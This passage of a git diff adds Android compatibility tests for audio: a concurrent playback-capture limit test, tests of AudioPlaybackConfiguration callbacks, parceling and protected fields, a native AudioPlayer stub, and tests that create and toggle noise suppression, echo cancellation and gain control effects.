+    public void testPlaybackCaptureDoS() throws Exception {
+        final int UPPER_BOUND_TO_CONCURENT_PLAYBACK_CAPTURE = 1000;
+        final int MIN_NB_OF_CONCURENT_PLAYBACK_CAPTURE = 5;
+
+        mAPCTestConfig.matchingUsages = new int[]{ AudioAttributes.USAGE_MEDIA };
+
+        Stack<AudioRecord> audioRecords = new Stack<>();
+        MediaPlayer mediaPlayer = createMediaPlayer(ALLOW_CAPTURE_BY_ALL,
+                                                    R.raw.testwav_16bit_44100hz,
+                                                    AudioAttributes.USAGE_MEDIA);
+        try {
+            mediaPlayer.start();
+
+            // Lets create as many audio playback capture as we can
+            try {
+                for (int i = 0; i < UPPER_BOUND_TO_CONCURENT_PLAYBACK_CAPTURE; i++) {
+                    audioRecords.push(createDefaultPlaybackCaptureRecord());
+                }
+                fail("Playback capture never failed even with " + audioRecords.size()
+                        + " concurrent ones. Are errors silently dropped ?");
+            } catch (Exception e) {
+                assertThat("Number of supported concurrent playback capture", audioRecords.size(),
+                           greaterThan(MIN_NB_OF_CONCURENT_PLAYBACK_CAPTURE));
+            }
+
+            // Should not be able to create a new audio playback capture record",
+            assertThrows(Exception.class, this::createDefaultPlaybackCaptureRecord);
+
+            // Check that all record can all be started
+            for (AudioRecord audioRecord : audioRecords) {
+                audioRecord.startRecording();
+            }
+
+            // Check that they all record audio
+            for (AudioRecord audioRecord : audioRecords) {
+                ByteBuffer rawBuffer = readToBuffer(audioRecord, BUFFER_SIZE);
+                assertFalse("Expected data, but only silence was recorded",
+                            onlySilence(rawBuffer.asShortBuffer()));
+            }
+
+            // Stopping one AR must allow creating a new one
+            audioRecords.peek().stop();
+            audioRecords.pop().release();
+            final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+            audioRecords.push(createDefaultPlaybackCaptureRecord());
+
+            // That new one must still be able to capture
+            audioRecords.peek().startRecording();
+            ByteBuffer rawBuffer = readToBuffer(audioRecords.peek(), BUFFER_SIZE);
+            assertFalse("Expected data, but only silence was recorded",
+                        onlySilence(rawBuffer.asShortBuffer()));
+
+            // cleanup
+            mediaPlayer.stop();
+        } finally {
+            mediaPlayer.release();
+            try {
+                for (AudioRecord audioRecord : audioRecords) {
+                    audioRecord.stop();
+                }
+            } finally {
+                for (AudioRecord audioRecord : audioRecords) {
+                    audioRecord.release();
+                }
+            }
+        }
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java
new file mode 100644
index 0000000..d7a8e86
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java
@@ -0,0 +1,555 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_ALL;
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_NONE;
+import static android.media.AudioAttributes.ALLOW_CAPTURE_BY_SYSTEM;
+
+import android.annotation.Nullable;
+import android.annotation.RawRes;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.media.AudioAttributes;
+import android.media.AudioAttributes.CapturePolicy;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
+import android.media.MediaPlayer;
+import android.media.SoundPool;
+import android.media.audio.cts.R;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.TestUtils;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Parcel;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.internal.annotations.GuardedBy;
+
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+@NonMediaMainlineTest
+public class AudioPlaybackConfigurationTest extends CtsAndroidTestCase {
+    private final static String TAG = "AudioPlaybackConfigurationTest";
+
+    private final static int TEST_TIMING_TOLERANCE_MS = 150;
+    /** acceptable timeout for the time it takes for a prepared MediaPlayer to have an audio device
+     * selected and reported when starting to play */
+    private final static int PLAY_ROUTING_TIMING_TOLERANCE_MS = 500;
+    private final static int TEST_TIMEOUT_SOUNDPOOL_LOAD_MS = 3000;
+    private final static long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
+
+    // not declared inside test so it can be released in case of failure
+    private MediaPlayer mMp;
+    private SoundPool mSp;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // try/catch for every method in case the tests left the objects in various states
+        if (mMp != null) {
+            try { mMp.stop(); } catch (Exception e) {}
+            try { mMp.release(); } catch (Exception e) {}
+            mMp = null;
+        }
+        if (mSp != null) {
+            try { mSp.release(); } catch (Exception e) {}
+            mSp = null;
+        }
+    }
+
+    private final static int TEST_USAGE = AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED;
+    private final static int TEST_CONTENT = AudioAttributes.CONTENT_TYPE_SPEECH;
+
+    // test marshalling/unmarshalling of an AudioPlaybackConfiguration instance. Since we can't
+    // create an AudioPlaybackConfiguration directly, we first need to play something to get one.
+    public void testParcelableWriteToParcel() throws Exception {
+        if (!isValidPlatform("testParcelableWriteToParcel")) return;
+
+        // create a player, make it play so we can get an AudioPlaybackConfiguration instance
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_NONE)
+                .build();
+        mMp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, aa, am.generateAudioSessionId());
+        mMp.start();
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
+        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+        mMp.stop();
+        assertTrue("No playback reported", configs.size() > 0);
+        AudioPlaybackConfiguration configToMarshall = null;
+        for (AudioPlaybackConfiguration config : configs) {
+            if (config.getAudioAttributes().equals(aa)) {
+                configToMarshall = config;
+                break;
+            }
+        }
+
+        assertNotNull("Configuration not found during playback", configToMarshall);
+        assertEquals(0, configToMarshall.describeContents());
+
+        final Parcel srcParcel = Parcel.obtain();
+        final Parcel dstParcel = Parcel.obtain();
+        final byte[] mbytes;
+
+        configToMarshall.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
+        mbytes = srcParcel.marshall();
+        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        dstParcel.setDataPosition(0);
+        final AudioPlaybackConfiguration restoredConfig =
+                AudioPlaybackConfiguration.CREATOR.createFromParcel(dstParcel);
+
+        assertEquals("Marshalled/restored AudioAttributes don't match",
+                configToMarshall.getAudioAttributes(), restoredConfig.getAudioAttributes());
+    }
+
+    public void testGetterMediaPlayer() throws Exception {
+        if (!isValidPlatform("testGetterMediaPlayer")) return;
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_ALL)
+                .build();
+
+        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+        final int nbActivePlayersBeforeStart = configs.size();
+
+        mMp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, aa, am.generateAudioSessionId());
+        configs = am.getActivePlaybackConfigurations();
+        assertEquals("inactive MediaPlayer, number of configs shouldn't have changed",
+                nbActivePlayersBeforeStart /*expected*/, configs.size());
+
+        mMp.start();
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);// waiting for playback to start
+        configs = am.getActivePlaybackConfigurations();
+        assertEquals("active MediaPlayer, number of configs should have increased",
+                nbActivePlayersBeforeStart + 1 /*expected*/,
+                configs.size());
+        assertTrue("Active player, attributes not found", hasAttr(configs, aa));
+
+        // verify "privileged" fields aren't available through reflection
+        final AudioPlaybackConfiguration config = configs.get(0);
+        final Class<?> confClass = config.getClass();
+        final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
+        final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
+        final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
+        final Method getSessionIdMethod = confClass.getDeclaredMethod("getSessionId");
+        try {
+            Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
+            assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
+            Integer pid = (Integer) getClientPidMethod.invoke(config, (Object[]) null);
+            assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
+            Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
+            assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
+            Integer sessionId = (Integer) getSessionIdMethod.invoke(config, (Object[]) null);
+            assertEquals("session ID isn't protected", 0 /*expected*/, sessionId.intValue());
+        } catch (Exception e) {
+            fail("Exception thrown during reflection on config privileged fields"+ e);
+        }
+    }
+
+    public void testCallbackMediaPlayer() throws Exception {
+        if (!isValidPlatform("testCallbackMediaPlayer")) return;
+        doTestCallbackMediaPlayer(false /* no custom Handler for callback */);
+    }
+
+    public void testCallbackMediaPlayerHandler() throws Exception {
+        if (!isValidPlatform("testCallbackMediaPlayerHandler")) return;
+        doTestCallbackMediaPlayer(true /* use custom Handler for callback */);
+    }
+
+    private void doTestCallbackMediaPlayer(boolean useHandlerInCallback) throws Exception {
+        final Handler h;
+        if (useHandlerInCallback) {
+            HandlerThread handlerThread = new HandlerThread(TAG);
+            handlerThread.start();
+            h = new Handler(handlerThread.getLooper());
+        } else {
+            h = null;
+        }
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        MyAudioPlaybackCallback registeredCallback = null;
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+            mMp =  createPreparedMediaPlayer(R.raw.sine1khzs40dblong, aa,
+                    am.generateAudioSessionId());
+
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+            registeredCallback = callback;
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
+
+
+            // stopping playback: callback is called with no match
+            callback.reset();
+            mMp.pause();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+            assertEquals("onPlaybackConfigChanged call count not expected after pause",
+                    1/*expected*/, callback.getCbInvocationNumber());//only 1 pause call since reset
+            assertEquals("number of active players not expected after pause",
+                    nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
+
+            // unregister callback and start playback again
+            am.unregisterAudioPlaybackCallback(callback);
+            registeredCallback = null;
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            callback.reset();
+            mMp.start();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+            assertEquals("onPlaybackConfigChanged call count not expected after unregister",
+                    0/*expected*/, callback.getCbInvocationNumber()); //callback is unregistered
+
+            // just call the callback once directly so it's marked as tested
+            final AudioManager.AudioPlaybackCallback apc =
+                    (AudioManager.AudioPlaybackCallback) callback;
+            apc.onPlaybackConfigChanged(new ArrayList<AudioPlaybackConfiguration>());
+        } finally {
+            if (registeredCallback != null) {
+                am.unregisterAudioPlaybackCallback(registeredCallback);
+            }
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    public void testCallbackMediaPlayerRelease() throws Exception {
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+            mMp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, aa,
+                    am.generateAudioSessionId());
+
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
+
+            // release the player without stopping or pausing it first
+            callback.reset();
+            mMp.release();
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+            assertEquals("onPlaybackConfigChanged call count not expected after release",
+                    1/*expected*/, callback.getCbInvocationNumber());//only release call since reset
+            assertEquals("number of active players not expected after release",
+                    nbActivePlayersBeforeStart/*expected*/, callback.getNbConfigs());
+
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    public void testGetterSoundPool() throws Exception {
+        if (!isValidPlatform("testSoundPool")) return;
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+        am.registerAudioPlaybackCallback(callback, null /*handler*/);
+
+        // query how many active players before starting the SoundPool
+        List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
+        int nbActivePlayersBeforeStart = 0;
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED) {
+                nbActivePlayersBeforeStart++;
+            }
+        }
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .setAllowedCapturePolicy(ALLOW_CAPTURE_BY_SYSTEM)
+                .build();
+
+        mSp = new SoundPool.Builder()
+                .setAudioAttributes(aa)
+                .setMaxStreams(1)
+                .build();
+        final Object loadLock = new Object();
+        final SoundPool zepool = mSp;
+        // load a sound and play it once load completion is reported
+        mSp.setOnLoadCompleteListener(new SoundPool.OnLoadCompleteListener() {
+            @Override
+            public void onLoadComplete(SoundPool soundPool, int sampleId, int status) {
+                assertEquals("Receiving load completion for wrong SoundPool", zepool, mSp);
+                assertEquals("Load completion error", 0 /*success expected*/, status);
+                synchronized (loadLock) {
+                    loadLock.notify();
+                }
+            }
+        });
+        final int loadId = mSp.load(getContext(), R.raw.sine1320hz5sec, 1/*priority*/);
+        synchronized (loadLock) {
+            loadLock.wait(TEST_TIMEOUT_SOUNDPOOL_LOAD_MS);
+        }
+        int res = mSp.play(loadId, 1.0f /*leftVolume*/, 1.0f /*rightVolume*/, 1 /*priority*/,
+                0 /*loop*/, 1.0f/*rate*/);
+        // FIXME SoundPool activity is not reported yet, but exercise creation/release with
+        //       an AudioPlaybackCallback registered
+        assertTrue("Error playing sound through SoundPool", res > 0);
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+        mSp.autoPause();
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+        // query how many active players after pausing
+        configs = am.getActivePlaybackConfigurations();
+        int nbActivePlayersAfterPause = 0;
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getPlayerState() == AudioPlaybackConfiguration.PLAYER_STATE_STARTED) {
+                nbActivePlayersAfterPause++;
+            }
+        }
+        assertEquals("Number of active players changed after pausing SoundPool",
+                nbActivePlayersBeforeStart, nbActivePlayersAfterPause);
+    }
+
+    public void testGetAudioDeviceInfoMediaPlayerStart() throws Exception {
+        if (!isValidPlatform("testGetAudioDeviceInfoMediaPlayerStart")) return;
+
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final Handler h = new Handler(handlerThread.getLooper());
+
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
+
+        final AudioAttributes aa = (new AudioAttributes.Builder())
+                .setUsage(TEST_USAGE)
+                .setContentType(TEST_CONTENT)
+                .build();
+
+        try {
+            mMp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, aa,
+                    am.generateAudioSessionId());
+
+            am.registerAudioPlaybackCallback(callback, h /*handler*/);
+
+            // query how many active players before starting the MediaPlayer
+            List<AudioPlaybackConfiguration> configs =
+                    am.getActivePlaybackConfigurations();
+            final int nbActivePlayersBeforeStart = configs.size();
+
+            assertPlayerStartAndCallbackWithPlayerAttributes(mMp, callback,
+                    nbActivePlayersBeforeStart + 1, aa);
+
+            assertTrue("Active player, device not found",
+                    hasDevice(callback.getConfigs(), aa));
+
+        } finally {
+            am.unregisterAudioPlaybackCallback(callback);
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    private @Nullable MediaPlayer createPreparedMediaPlayer(
+            @RawRes int resID, AudioAttributes aa, int session) throws Exception {
+        final TestUtils.Monitor onPreparedCalled = new TestUtils.Monitor();
+        final MediaPlayer mp = createPlayer(resID, aa, session);
+        mp.setOnPreparedListener(mp1 -> onPreparedCalled.signal());
+        mp.prepare();
+        onPreparedCalled.waitForSignal(MEDIAPLAYER_PREPARE_TIMEOUT_MS);
+        assertTrue(
+                "MediaPlayer wasn't prepared in under " + MEDIAPLAYER_PREPARE_TIMEOUT_MS + " ms",
+                onPreparedCalled.isSignalled());
+        return mp;
+    }
+
+    private MediaPlayer createPlayer(
+            @RawRes int resID, AudioAttributes aa, int session) throws IOException {
+        MediaPlayer mp = new MediaPlayer();
+        mp.setAudioAttributes(aa);
+        mp.setAudioSessionId(session);
+        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(resID);
+        try {
+            mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        } finally {
+            afd.close();
+        }
+        return mp;
+    }
+
+    private void assertPlayerStartAndCallbackWithPlayerAttributes(
+            MediaPlayer mp, MyAudioPlaybackCallback callback,
+            int activePlayerCount, AudioAttributes aa) throws Exception{
+        mp.start();
+
+        assertTrue("onPlaybackConfigChanged play and device called expected "
+                , callback.waitForCallbacks(2,
+                        TEST_TIMING_TOLERANCE_MS + PLAY_ROUTING_TIMING_TOLERANCE_MS));
+        assertEquals("number of active players not expected",
+                // one more player active
+                activePlayerCount/*expected*/, callback.getNbConfigs());
+        assertTrue("Active player, attributes not found", hasAttr(callback.getConfigs(), aa));
+    }
+
+    private static class MyAudioPlaybackCallback extends AudioManager.AudioPlaybackCallback {
+        private final Object mCbLock = new Object();
+        @GuardedBy("mCbLock")
+        private int mCalled;
+        @GuardedBy("mCbLock")
+        private List<AudioPlaybackConfiguration> mConfigs;
+
+        final TestUtils.Monitor mOnCalledMonitor = new TestUtils.Monitor();
+
+        void reset() {
+            synchronized (mCbLock) {
+                mCalled = 0;
+                mConfigs = new ArrayList<AudioPlaybackConfiguration>();
+            }
+        }
+
+        int getCbInvocationNumber() {
+            synchronized (mCbLock) {
+                return mCalled;
+            }
+        }
+
+        int getNbConfigs() {
+            return getConfigs().size();
+        }
+
+        List<AudioPlaybackConfiguration> getConfigs() {
+            synchronized (mCbLock) {
+                return mConfigs;
+            }
+        }
+
+        MyAudioPlaybackCallback() {
+            reset();
+        }
+
+        @Override
+        public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {
+            synchronized (mCbLock) {
+                mCalled++;
+                mConfigs = configs;
+            }
+            mOnCalledMonitor.signal();
+        }
+
+        public boolean waitForCallbacks(int calledCount, long timeoutMs)
+                throws InterruptedException {
+            int signalsCounted =
+                    mOnCalledMonitor.waitForCountedSignals(calledCount, timeoutMs);
+            return (signalsCounted == calledCount);
+        }
+    }
+
+    private static boolean hasAttr(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+                && apc.getAudioAttributes().getUsage() == aa.getUsage()
+                && apc.getAudioAttributes().getFlags() == aa.getFlags()
+                && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
+                    == aa.getAllowedCapturePolicy()) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static boolean hasDevice(List<AudioPlaybackConfiguration> configs, AudioAttributes aa) {
+        for (AudioPlaybackConfiguration apc : configs) {
+            if (apc.getAudioAttributes().getContentType() == aa.getContentType()
+                    && apc.getAudioAttributes().getUsage() == aa.getUsage()
+                    && apc.getAudioAttributes().getFlags() == aa.getFlags()
+                    && anonymizeCapturePolicy(apc.getAudioAttributes().getAllowedCapturePolicy())
+                            == aa.getAllowedCapturePolicy()
+                    && apc.getAudioDeviceInfo() != null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** ALLOW_CAPTURE_BY_SYSTEM is anonymized to ALLOW_CAPTURE_BY_NONE. */
+    @CapturePolicy
+    private static int anonymizeCapturePolicy(@CapturePolicy int policy) {
+        if (policy == ALLOW_CAPTURE_BY_SYSTEM) {
+            return ALLOW_CAPTURE_BY_NONE;
+        }
+        return policy;
+    }
+
+    private boolean isValidPlatform(String testName) {
+        if (!getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            Log.w(TAG,"AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL, skipping test " + testName);
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPlayer.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlayer.java
new file mode 100644
index 0000000..dbea2ca
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlayer.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.audio.cts;
+
+import android.media.AudioRouting;
+
+public class AudioPlayer {
+    public AudioPlayer() {
+        Create();
+    }
+
+    public native void Create();
+    public native void Destroy();
+
+    public native void RealizePlayer();
+    public native void RealizeRoutingProxy();
+
+    public native void Start();
+    public native void Stop();
+
+    public native AudioRouting GetRoutingInterface();
+
+    public native void ReleaseRoutingInterface(AudioRouting proxyObj);
+
+    public native long GetLastSLResult();
+    public native void ClearLastSLResult();
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPreProcessingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPreProcessingTest.java
new file mode 100644
index 0000000..f6f0a03
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPreProcessingTest.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audio.cts.R;
+
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.audiofx.AcousticEchoCanceler;
+import android.media.audiofx.AutomaticGainControl;
+import android.media.audiofx.NoiseSuppressor;
+import android.media.MediaRecorder;
+import android.test.AndroidTestCase;
+
+
+public class AudioPreProcessingTest extends AndroidTestCase {
+
+    private String TAG = "AudioPreProcessingTest";
+    // AudioRecord sampling rate
+    private final static int SAMPLING_RATE = 8000;
+
+    //-----------------------------------------------------------------
+    // AUDIO PRE PROCESSING TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 1 - Noise Suppressor
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 1.1 - creation
+    //----------------------------------
+
+    //Test case 1.1: test NS creation and release
+    public void test1_1NsCreateAndRelease() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioRecord ar = getAudioRecord();
+        assertNotNull("could not create AudioRecord", ar);
+
+        boolean isAvailable = NoiseSuppressor.isAvailable();
+
+        NoiseSuppressor ns = NoiseSuppressor.create(ar.getAudioSessionId());
+        assertTrue("NS not available but created or available and not created",
+                isAvailable == (ns != null));
+        if (ns != null) {
+            ns.release();
+        }
+        ar.release();
+    }
+
+    //-----------------------------------------------------------------
+    // 1.2 - NS Enable/disable
+    //----------------------------------
+
+    //Test case 1.2: test setEnabled() and getEnabled()
+    public void test1_2NsSetEnabledGetEnabled() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        if (!NoiseSuppressor.isAvailable()) {
+            return;
+        }
+
+        AudioRecord ar = getAudioRecord();
+        assertNotNull("could not create AudioRecord", ar);
+
+        NoiseSuppressor ns = NoiseSuppressor.create(ar.getAudioSessionId());
+        assertNotNull("could not create NoiseSupressor", ns);
+        try {
+            ns.setEnabled(true);
+            assertTrue("invalid state from getEnabled", ns.getEnabled());
+            ns.setEnabled(false);
+            assertFalse("invalid state to getEnabled", ns.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            ns.release();
+            ar.release();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Acoustic Echo Canceller
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 2.1 - creation
+    //----------------------------------
+
+    //Test case 2.1: test AEC creation and release
+    public void test2_1AecCreateAndRelease() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioRecord ar = getAudioRecord();
+        assertNotNull("could not create AudioRecord", ar);
+
+        boolean isAvailable = AcousticEchoCanceler.isAvailable();
+
+        AcousticEchoCanceler aec = AcousticEchoCanceler.create(ar.getAudioSessionId());
+        assertTrue("AEC not available but created or available and not created",
+                isAvailable == (aec != null));
+        if (aec != null) {
+            aec.release();
+        }
+        ar.release();
+    }
+
+    //-----------------------------------------------------------------
+    // 2.2 - AEC Enable/disable
+    //----------------------------------
+
+    //Test case 2.2: test AEC setEnabled() and getEnabled()
+    public void test2_2AecSetEnabledGetEnabled() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        if (!AcousticEchoCanceler.isAvailable()) {
+            return;
+        }
+
+        AudioRecord ar = getAudioRecord();
+        assertNotNull("could not create AudioRecord", ar);
+
+        AcousticEchoCanceler aec = AcousticEchoCanceler.create(ar.getAudioSessionId());
+        assertNotNull("could not create AcousticEchoCanceler", aec);
+        try {
+            aec.setEnabled(true);
+            assertTrue("invalid state from getEnabled", aec.getEnabled());
+            aec.setEnabled(false);
+            assertFalse("invalid state to getEnabled", aec.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            aec.release();
+            ar.release();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 - Automatic Gain Control
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 3.1 - creation
+    //----------------------------------
+
+    //Test case 3.1: test AGC creation and release
+    public void test3_1AgcCreateAndRelease() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioRecord ar = getAudioRecord();
+        assertNotNull("could not create AudioRecord", ar);
+
+        boolean isAvailable = AutomaticGainControl.isAvailable();
+
+        AutomaticGainControl agc = AutomaticGainControl.create(ar.getAudioSessionId());
+        assertTrue("AGC not available but created or available and not created",
+                isAvailable == (agc != null));
+        if (agc != null) {
+            agc.release();
+        }
+        ar.release();
+    }
+
+    //-----------------------------------------------------------------
+    // 3.2 - AEC Enable/disable
+    //----------------------------------
+
+    //Test case 3.2: test AGC setEnabled() and getEnabled()
+    public void test3_2AgcSetEnabledGetEnabled() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        if (!AutomaticGainControl.isAvailable()) {
+            return;
+        }
+
+        AudioRecord ar = getAudioRecord();
+        assertNotNull("could not create AudioRecord", ar);
+
+        AutomaticGainControl agc = AutomaticGainControl.create(ar.getAudioSessionId());
+        assertNotNull("could not create AutomaticGainControl", agc);
+        try {
+            agc.setEnabled(true);
+            assertTrue("invalid state from getEnabled", agc.getEnabled());
+            agc.setEnabled(false);
+            assertFalse("invalid state to getEnabled", agc.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            agc.release();
+            ar.release();
+        }
+    }
+
